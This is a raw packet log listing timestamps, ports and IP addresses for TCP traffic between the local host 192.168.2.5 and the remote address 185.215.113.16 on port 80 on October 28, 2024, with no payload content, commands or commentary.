Oct 28, 2024 20:50:25.992470980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992485046 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.992531061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992563963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992610931 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.992614985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992649078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992661953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.992702007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992752075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992786884 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992805958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.992820024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992830038 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.992872000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992903948 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992933035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.992937088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992970943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992980957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993005037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993055105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993088961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993112087 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993134975 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993140936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993175030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993207932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993242025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993247986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993274927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993285894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993309021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993341923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993375063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993407965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993424892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993458986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993490934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993500948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993526936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993560076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993611097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993613958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993648052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993664026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993683100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993729115 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993731976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993766069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993801117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993810892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993834019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993869066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993892908 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993901968 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993935108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.993980885 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.993984938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994013071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994035006 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994046926 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994079113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994086027 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994128942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994163036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994194984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994213104 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994229078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994245052 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994263887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994297028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994327068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994335890 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994359970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994407892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994416952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994451046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994463921 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994505882 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994539976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994575024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994590044 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994604111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994625092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994637966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994673967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994704962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994739056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994749069 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994774103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994808912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994836092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994841099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994874954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994906902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994926929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.994942904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.994951963 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.048928976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.106211901 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.106251955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.106291056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.106297016 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.106327057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.106367111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.106426954 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107466936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107501030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107553959 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107553959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107592106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107603073 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107625961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107681036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107716084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107749939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107753992 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107760906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107801914 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107836962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107853889 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107887983 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107935905 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.107939005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.107968092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108000994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108020067 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.108035088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108063936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108108997 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.108114958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108153105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108186960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108196020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.108222961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108247042 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.108256102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108290911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108324051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108340979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.108378887 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.108536005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108601093 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108634949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.108716965 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109505892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109581947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109611034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109632015 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109646082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109658003 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109688997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109739065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109791040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109792948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109827042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109854937 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109863043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109908104 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109914064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109949112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.109992981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.109999895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110034943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110070944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110105038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110138893 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110152006 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.110174894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110219955 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.110227108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110265970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110299110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110311985 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.110332012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110362053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110379934 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.110394955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110430002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110438108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.110465050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.110513926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.152936935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.158653975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.158895969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.158943892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.158945084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.158982038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159013987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159048080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159060955 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159089088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159094095 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159142971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159192085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159224987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159229040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159264088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159276009 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159332037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159369946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159369946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159404993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159437895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159471035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159504890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159528017 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159540892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159575939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159607887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159621000 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159641027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159651041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159674883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159708023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159709930 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159742117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159774065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159805059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159806967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159841061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159843922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.159876108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159908056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159940004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159971952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.159985065 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.160006046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160037994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160072088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160104036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160113096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.160126925 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.160139084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160171986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160176039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.160206079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160238028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160240889 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.160270929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160303116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160335064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160372019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160399914 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.160407066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.160484076 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.223120928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.223241091 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.223293066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.223323107 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.223360062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.223397970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.223416090 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.224368095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224423885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224452019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.224457979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224549055 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.224829912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224862099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224911928 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.224912882 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224947929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224981070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.224989891 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225009918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225050926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225059032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225092888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225132942 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225142002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225192070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225224972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225229025 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225258112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225290060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225297928 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225341082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225374937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225384951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225409985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225441933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225450039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225476027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225508928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225512028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225543022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225574017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225580931 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225606918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225639105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225644112 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.225689888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.225730896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.226594925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226629972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226679087 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.226684093 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226732969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226773024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226807117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226820946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.226840973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226872921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226880074 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.226907969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226941109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.226948023 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227008104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227037907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227046967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227077007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227087021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227122068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227171898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227205992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227212906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227241039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227242947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227277994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227309942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227353096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227360010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227396011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227430105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227438927 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227480888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227514029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227519989 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227544069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227576971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227582932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227612019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227617979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227644920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227678061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227721930 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227726936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227761030 CET	80	52257	185.215.113.16	192.168.2.5
